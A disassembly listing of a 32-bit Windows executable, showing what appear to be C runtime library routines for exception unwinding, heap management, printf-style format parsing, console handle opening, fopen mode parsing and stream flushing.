		mov	edi, [ebx+8]
		push	ebx
		call	sub_44A871
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_44A8C1
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_44A96A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_44A81C:				; CODE XREF: DMN1:0044A7D5j
					; DMN1:0044A7E7j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_44A7C8
; ---------------------------------------------------------------------------


loc_44A827:				; CODE XREF: DMN1:0044A7E9j
		mov	eax, 0
		jmp	short loc_44A843
; ---------------------------------------------------------------------------


loc_44A82E:				; CODE XREF: DMN1:0044A7B1j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_44A8C1
		add	esp, 8
		pop	ebp


loc_44A83E:				; CODE XREF: DMN1:0044A7CBj
		mov	eax, 1


loc_44A843:				; CODE XREF: DMN1:0044A82Cj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_44A8C1
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A871	proc near		; CODE XREF: DMN1:0044A7EFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_408568
		push	[ebp+arg_0]
		call	sub_44F801
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A871	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_44A8B2
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_44A8B2:				; CODE XREF: DMN1:0044A8A1j
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A8C1	proc near		; CODE XREF: DMN1:0044A7FCp
					; DMN1:0044A835p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_408570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_44A8DE:				; CODE XREF: sub_44A8C1:loc_44A919j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_44A91B
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_44A91B
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_44A919
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_44A96A
		call	dword ptr [ebx+esi*4+8]


loc_44A919:				; CODE XREF: sub_44A8C1+44j
		jmp	short loc_44A8DE
; ---------------------------------------------------------------------------


loc_44A91B:				; CODE XREF: sub_44A8C1+2Aj
					; sub_44A8C1+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_44A8C1	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_408570
		jnz	short locret_44A953
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_44A953
		mov	eax, 1

locret_44A953:				; CODE XREF: DMN1:0044A941j
					; DMN1:0044A94Cj
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_411200
		jmp	short loc_44A974

; =============== S U B	R O U T	I N E =======================================



sub_44A96A	proc near		; CODE XREF: DMN1:0044A80Dp
					; sub_44A8C1+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_411200
		mov	ecx, [ebp+8]


loc_44A974:				; CODE XREF: DMN1:0044A968j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_44A96A	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_44A991	proc near		; CODE XREF: DMN1:00449EB7p
		push	0
		push	1000h
		push	0
		call	dword_411DB0
		mov	dword_4127F0, eax
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
sub_44A991	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
; ---------------------------------------------------------------------------
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DB4
		mov	dword_4127F0, 0
		retn
; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A9D1	proc near		; CODE XREF: sub_44A581+71p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DB8
		retn
sub_44A9D1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DBC
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_44AA11	proc near		; CODE XREF: sub_4494D1+41p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC0
		retn
sub_44AA11	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	eax, [esp+0Ch]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC4
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44AA53
		xor	esi, esi
		jmp	short loc_44AA55
; ---------------------------------------------------------------------------


loc_44AA53:				; CODE XREF: DMN1:0044AA4Dj
		mov	esi, ebx


loc_44AA55:				; CODE XREF: DMN1:0044AA51j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC8
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_44AA81	proc near		; CODE XREF: sub_44B3B1+1p
		mov	eax, off_411210
		push	eax
		call	dword_411CC8
		mov	eax, off_411214
		push	eax
		call	dword_411CC8
		mov	eax, off_411218
		push	eax
		call	dword_411CC8
		mov	eax, off_41121C
		push	eax
		call	dword_411CC8
		retn
sub_44AA81	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_44AAC1	proc near		; CODE XREF: DMN1:0044B411p
		push	ebx
		mov	ebx, 4


loc_44AAC7:				; CODE XREF: sub_44AAC1+2Aj
		mov	eax, off_411210[ebx*4]
		test	eax, eax
		jz	short loc_44AAE7
		push	eax
		call	dword_411DCC
		mov	eax, off_411210[ebx*4]
		push	eax
		call	sub_4494D1
		pop	ecx


loc_44AAE7:				; CODE XREF: sub_44AAC1+Fj
		inc	ebx
		cmp	ebx, 9
		jl	short loc_44AAC7
		mov	eax, off_411210
		push	eax
		call	dword_411DCC
		mov	eax, off_411214
		push	eax
		call	dword_411DCC
		mov	eax, off_411218
		push	eax
		call	dword_411DCC
		mov	eax, off_41121C
		push	eax
		call	dword_411DCC
		pop	ebx
		retn
sub_44AAC1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44AB21	proc near		; CODE XREF: sub_4494D1+4Bp
					; sub_4496E1+28p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	off_411210[ebx*4], 0
		jnz	short loc_44AB86
		push	18h
		call	sub_44A581
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_44AB4C
		push	1
		call	sub_44B571
		pop	ecx


loc_44AB4C:				; CODE XREF: sub_44AB21+21j
		push	3
		call	sub_44AB21
		pop	ecx
		cmp	off_411210[ebx*4], 0
		jnz	short loc_44AB74
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_411CC8
		mov	eax, [ebp+var_4]
		mov	off_411210[ebx*4], eax
		jmp	short loc_44AB7E
; ---------------------------------------------------------------------------


loc_44AB74:				; CODE XREF: sub_44AB21+3Bj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4494D1
		pop	ecx


loc_44AB7E:				; CODE XREF: sub_44AB21+51j
		push	3
		call	sub_44ABA1
		pop	ecx


loc_44AB86:				; CODE XREF: sub_44AB21+12j
		mov	eax, off_411210[ebx*4]
		push	eax
		call	dword_411CCC
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44AB21	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44ABA1	proc near		; CODE XREF: sub_44953B+2p
					; sub_44973C+2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, off_411210[eax*4]
		push	eax
		call	dword_411CD0
		retn
sub_44ABA1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44ABC1	proc near		; CODE XREF: sub_4495A1+3Dp
					; sub_449641+27p ...

var_84		= byte ptr -84h
var_50		= dword	ptr -50h
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= byte ptr -6
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	[ebp+var_48], 0
		mov	[ebp+var_44], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	[ebp+var_10], 0


loc_44ABF1:				; CODE XREF: sub_44ABC1+A4j
					; sub_44ABC1+264j
		mov	[ebp+var_4A], 0
		lea	eax, [ebp+var_48]
		push	eax
		push	7FFFFFFFh
		push	ebx
		lea	eax, [ebp+var_4A]
		push	eax
		call	sub_44BD31
		add	esp, 10h
		mov	esi, eax
		test	eax, eax
		jg	short loc_44AC1E
		cmp	byte ptr [ebx],	0
		setnz	al
		and	eax, 1
		mov	esi, eax


loc_44AC1E:				; CODE XREF: sub_44ABC1+50j
		cmp	[ebp+var_4A], 25h
		jnz	short loc_44AC2D
		lea	eax, [esi-1]
		mov	[ebp+var_50], eax
		jmp	short loc_44AC30
; ---------------------------------------------------------------------------


loc_44AC2D:				; CODE XREF: sub_44ABC1+62j
		mov	[ebp+var_50], esi


loc_44AC30:				; CODE XREF: sub_44ABC1+6Aj
		mov	eax, [ebp+var_50]
		mov	edi, eax
		test	eax, eax
		jle	short loc_44AC57
		push	edi
		push	ebx
		mov	eax, [ebp+var_34]
		push	eax
		call	[ebp+var_38]
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		test	eax, eax
		jnz	short loc_44AC54
		or	eax, 0FFFFFFFFh
		jmp	loc_44AE2E
; ---------------------------------------------------------------------------


loc_44AC54:				; CODE XREF: sub_44ABC1+89j
		add	[ebp+var_10], edi


loc_44AC57:				; CODE XREF: sub_44ABC1+76j
		add	ebx, esi
		cmp	[ebp+var_4A], 25h
		jz	short loc_44AC6F
		cmp	[ebp+var_4A], 0
		jnz	short loc_44ABF1
		mov	eax, [ebp+var_10]
		jmp	loc_44AE2E
; ---------------------------------------------------------------------------


loc_44AC6F:				; CODE XREF: sub_44ABC1+9Dj
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_2C], 0
		mov	[ebp+var_8], 0
		jmp	short loc_44ACBA
; ---------------------------------------------------------------------------


loc_44ACA1:				; CODE XREF: sub_44ABC1+10Ej
		movzx	eax, [ebp+var_8]
		mov	edx, offset dword_40FAF0
		mov	ecx, esi
		sub	ecx, edx
		or	eax, dword_40FAF8[ecx*4]
		mov	[ebp+var_8], ax
		inc	ebx


loc_44ACBA:				; CODE XREF: sub_44ABC1+DEj
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset dword_40FAF0
		call	sub_44B261
		add	esp, 8
		mov	esi, eax
		test	eax, eax
		jnz	short loc_44ACA1
		cmp	byte ptr [ebx],	2Ah
		jnz	short loc_44ACF9
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_44ACF6
		mov	eax, [ebp+var_C]
		neg	eax
		mov	[ebp+var_C], eax
		or	[ebp+var_8], 4


loc_44ACF6:				; CODE XREF: sub_44ABC1+126j
		inc	ebx
		jmp	short loc_44AD2F
; ---------------------------------------------------------------------------


loc_44ACF9:				; CODE XREF: sub_44ABC1+113j
		mov	[ebp+var_C], 0
		jmp	short loc_44AD1E
; ---------------------------------------------------------------------------


loc_44AD02:				; CODE XREF: sub_44ABC1+16Cj
		cmp	[ebp+var_C], 7FFFFFFFh
		jge	short loc_44AD1D
		mov	eax, [ebp+var_C]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_C], eax


loc_44AD1D:				; CODE XREF: sub_44ABC1+148j
		inc	ebx


loc_44AD1E:				; CODE XREF: sub_44ABC1+13Fj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_411898
		test	word ptr [edx+eax*2], 1
		jnz	short loc_44AD02


loc_44AD2F:				; CODE XREF: sub_44ABC1+136j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_44AD3A
		or	[ebp+var_14], 0FFFFFFFFh
		jmp	short loc_44AD8A
; ---------------------------------------------------------------------------


loc_44AD3A:				; CODE XREF: sub_44ABC1+171j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_44AD54
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		inc	ebx
		jmp	short loc_44AD8A
; ---------------------------------------------------------------------------


loc_44AD54:				; CODE XREF: sub_44ABC1+17Fj
		mov	[ebp+var_14], 0
		jmp	short loc_44AD79
; ---------------------------------------------------------------------------


loc_44AD5D:				; CODE XREF: sub_44ABC1+1C7j
		cmp	[ebp+var_14], 7FFFFFFFh
		jge	short loc_44AD78
		mov	eax, [ebp+var_14]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_14], eax


loc_44AD78:				; CODE XREF: sub_44ABC1+1A3j
		inc	ebx


loc_44AD79:				; CODE XREF: sub_44ABC1+19Aj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_411898
		test	word ptr [edx+eax*2], 1
		jnz	short loc_44AD5D


loc_44AD8A:				; CODE XREF: sub_44ABC1+177j
					; sub_44ABC1+191j
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset aHjltzl	; "hjltzL"
		call	sub_44B261
		add	esp, 8
		test	eax, eax
		jz	short loc_44ADA7
		mov	eax, ebx
		inc	ebx
		movzx	edi, byte ptr [eax]
		jmp	short loc_44ADA9
; ---------------------------------------------------------------------------


loc_44ADA7:				; CODE XREF: sub_44ABC1+1DCj
		xor	edi, edi


loc_44ADA9:				; CODE XREF: sub_44ABC1+1E4j
		mov	eax, edi
		mov	[ebp+var_6], al
		cmp	al, 68h
		jnz	short loc_44ADBE
		cmp	byte ptr [ebx],	68h
		jnz	short loc_44ADBE
		mov	[ebp+var_6], 62h
		inc	ebx
		jmp	short loc_44ADEE
; ---------------------------------------------------------------------------


loc_44ADBE:				; CODE XREF: sub_44ABC1+1EFj
					; sub_44ABC1+1F4j
		cmp	[ebp+var_6], 6Ch
		jnz	short loc_44ADD0
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_44ADD0
		mov	[ebp+var_6], 71h
		inc	ebx
		jmp	short loc_44ADEE
; ---------------------------------------------------------------------------


loc_44ADD0:				; CODE XREF: sub_44ABC1+201j
					; sub_44ABC1+206j
		cmp	[ebp+var_6], 0
		jnz	short loc_44ADEE
		cmp	byte ptr [ebx],	49h
		jnz	short loc_44ADEE
		cmp	byte ptr [ebx+1], 36h
		jnz	short loc_44ADEE
		cmp	byte ptr [ebx+2], 34h
		jnz	short loc_44ADEE
		mov	[ebp+var_6], 71h
		add	ebx, 3


loc_44ADEE:				; CODE XREF: sub_44ABC1+1FBj
					; sub_44ABC1+20Dj ...
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, ebx
		inc	ebx
		movzx	eax, byte ptr [eax]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_44C011
		add	esp, 10h
		test	eax, eax
		jnz	short loc_44AE2B
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_44C751
		add	esp, 8
		test	eax, eax
		jge	loc_44ABF1


loc_44AE2B:				; CODE XREF: sub_44ABC1+24Dj
		or	eax, 0FFFFFFFFh


loc_44AE2E:				; CODE XREF: sub_44ABC1+8Ej
					; sub_44ABC1+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44ABC1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44AE41	proc near		; CODE XREF: sub_449641+6p
		cmp	dword_411234, 0
		jz	short loc_44AE50
		mov	eax, dword_411234
		retn
; ---------------------------------------------------------------------------


loc_44AE50:				; CODE XREF: sub_44AE41+7j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConout	; "CONOUT$"
		call	dword_411DD0
		retn
sub_44AE41	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		cmp	dword_411238, 0
		jz	short loc_44AE80
		mov	eax, dword_411238
		retn
; ---------------------------------------------------------------------------


loc_44AE80:				; CODE XREF: DMN1:0044AE78j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConin	; "CONIN$"
		call	dword_411DD0
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44AEA1	proc near		; CODE XREF: sub_4496E1+35p
		push	ebx
		push	esi
		xor	esi, esi
		xor	ebx, ebx


loc_44AEA7:				; CODE XREF: sub_44AEA1+4Ej
		cmp	off_411370[ebx*4], 0
		jnz	short loc_44AECD
		push	4Ch
		call	sub_44A581
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_44AEF1
		mov	off_411370[ebx*4], esi
		mov	word ptr [esi],	80h
		jmp	short loc_44AEF1
; ---------------------------------------------------------------------------


loc_44AECD:				; CODE XREF: sub_44AEA1+Ej
		mov	eax, off_411370[ebx*4]
		cmp	word ptr [eax],	0
		jnz	short loc_44AEE8
		mov	esi, off_411370[ebx*4]
		mov	word ptr [esi],	0FF7Fh
		jmp	short loc_44AEF1
; ---------------------------------------------------------------------------


loc_44AEE8:				; CODE XREF: sub_44AEA1+37j
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_44AEA7


loc_44AEF1:				; CODE XREF: sub_44AEA1+1Cj
					; sub_44AEA1+2Aj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_44AEA1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44AF01	proc near		; CODE XREF: sub_4496E1+45p

var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_44AF18
		xor	eax, eax
		jmp	loc_44B03C
; ---------------------------------------------------------------------------


loc_44AF18:				; CODE XREF: sub_44AF01+Ej
		mov	ax, [ebx]
		and	ax, 80h
		mov	[ebp+var_2], ax
		mov	edi, ebx
		mov	esi, offset dword_40FB28
		mov	ecx, 13h
		rep movsd
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	72h
		jnz	short loc_44AF72
		mov	[ebp+var_8], 1
		jmp	short loc_44AF99
; ---------------------------------------------------------------------------


loc_44AF72:				; CODE XREF: sub_44AF01+66j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	77h
		jnz	short loc_44AF83
		mov	[ebp+var_8], 1Ah
		jmp	short loc_44AF96
; ---------------------------------------------------------------------------


loc_44AF83:				; CODE XREF: sub_44AF01+77j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	61h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 16h
		mov	[ebp+var_8], eax


loc_44AF96:				; CODE XREF: sub_44AF01+80j
		mov	eax, [ebp+var_8]


loc_44AF99:				; CODE XREF: sub_44AF01+6Fj
		movzx	eax, [ebp+var_2]
		or	eax, [ebp+var_8]
		mov	[ebx], ax
		test	word ptr [ebx],	3
		jnz	short loc_44AFDC
		push	ebx
		call	sub_449941
		pop	ecx
		xor	eax, eax
		jmp	loc_44B03C
; ---------------------------------------------------------------------------


loc_44AFB8:				; CODE XREF: sub_44AF01+E5j
					; sub_44AF01+EDj
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	62h
		jnz	short loc_44AFCD
		test	word ptr [ebx],	20h
		jnz	short loc_44AFF0
		or	word ptr [ebx],	20h
		jmp	short loc_44AFDC
; ---------------------------------------------------------------------------


loc_44AFCD:				; CODE XREF: sub_44AF01+BDj
		movzx	eax, word ptr [ebx]
		and	eax, 3
		cmp	eax, 3
		jz	short loc_44AFF0
		or	word ptr [ebx],	3


loc_44AFDC:				; CODE XREF: sub_44AF01+A7j
					; sub_44AF01+CAj
		mov	eax, [ebp+arg_4]
		inc	eax
		mov	[ebp+arg_4], eax
		cmp	byte ptr [eax],	62h
		jz	short loc_44AFB8
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	2Bh
		jz	short loc_44AFB8


loc_44AFF0:				; CODE XREF: sub_44AF01+C4j
					; sub_44AF01+D5j
		cmp	[ebp+arg_0], 0
		jz	short loc_44B01E
		mov	eax, [ebp+arg_4]
		push	eax
		movzx	eax, word ptr [ebx]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C9C1
		add	esp, 0Ch
		mov	[ebx+4], eax
		cmp	dword ptr [ebx+4], 0
		jge	short loc_44B035
		push	ebx
		call	sub_449941
		pop	ecx
		xor	eax, eax
		jmp	short loc_44B03C
; ---------------------------------------------------------------------------


loc_44B01E:				; CODE XREF: sub_44AF01+F3j
		cmp	[ebp+arg_C], 0
		jge	short loc_44B02F
		push	ebx
		call	sub_449941
		pop	ecx
		xor	eax, eax
		jmp	short loc_44B03C
; ---------------------------------------------------------------------------


loc_44B02F:				; CODE XREF: sub_44AF01+121j
		mov	eax, [ebp+arg_C]
		mov	[ebx+4], eax


loc_44B035:				; CODE XREF: sub_44AF01+110j
		call	sub_4497E1
		mov	eax, ebx


loc_44B03C:				; CODE XREF: sub_44AF01+12j
					; sub_44AF01+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44AF01	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B051	proc near		; CODE XREF: sub_4497E1+4Dp

arg_0		= dword	ptr  4

		mov	eax, dword_4111A4
		cmp	dword_4111A0, eax
		ja	short loc_44B065
		call	sub_44CA31
		jmp	short locret_44B07E
; ---------------------------------------------------------------------------


loc_44B065:				; CODE XREF: sub_44B051+Bj
		mov	eax, dword_4111A4
		lea	edx, [eax+1]
		mov	dword_4111A4, edx
		mov	edx, [esp+arg_0]
		mov	dword_411060[eax*4], edx

locret_44B07E:				; CODE XREF: sub_44B051+12j
		retn
sub_44B051	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B081	proc near		; CODE XREF: sub_449861+8p
					; sub_449B41+D0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_44B0DF
		push	6
		call	sub_44AB21
		pop	ecx
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		jmp	short loc_44B0C9
; ---------------------------------------------------------------------------


loc_44B0A9:				; CODE XREF: sub_44B081+4Fj
		mov	eax, [ebp+var_4]
		mov	eax, off_411370[eax*4]
		test	eax, eax
		jz	short loc_44B0C6
		push	eax
		call	sub_44B081
		pop	ecx
		test	eax, eax
		jge	short loc_44B0C6
		or	[ebp+var_8], 0FFFFFFFFh


loc_44B0C6:				; CODE XREF: sub_44B081+34j
					; sub_44B081+3Fj
		inc	[ebp+var_4]


loc_44B0C9:				; CODE XREF: sub_44B081+26j
		cmp	[ebp+var_4], 100h
		jl	short loc_44B0A9
		push	6
		call	sub_44ABA1
		pop	ecx
		mov	eax, [ebp+var_8]
		jmp	short loc_44B151
; ---------------------------------------------------------------------------


loc_44B0DF:				; CODE XREF: sub_44B081+Ej
		test	word ptr [ebx],	2000h
		jnz	short loc_44B0EA
		xor	eax, eax
		jmp	short loc_44B151
; ---------------------------------------------------------------------------


loc_44B0EA:				; CODE XREF: sub_44B081+63j
		mov	esi, [ebx+8]
		jmp	short loc_44B126
; ---------------------------------------------------------------------------


loc_44B0EF:				; CODE XREF: sub_44B081+A8j
		mov	eax, [ebx+10h]
		sub	eax, esi
		push	eax
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_44CC41
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jg	short loc_44B124
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		mov	[ebx+18h], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		or	word ptr [ebx],	200h
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B151
; ---------------------------------------------------------------------------


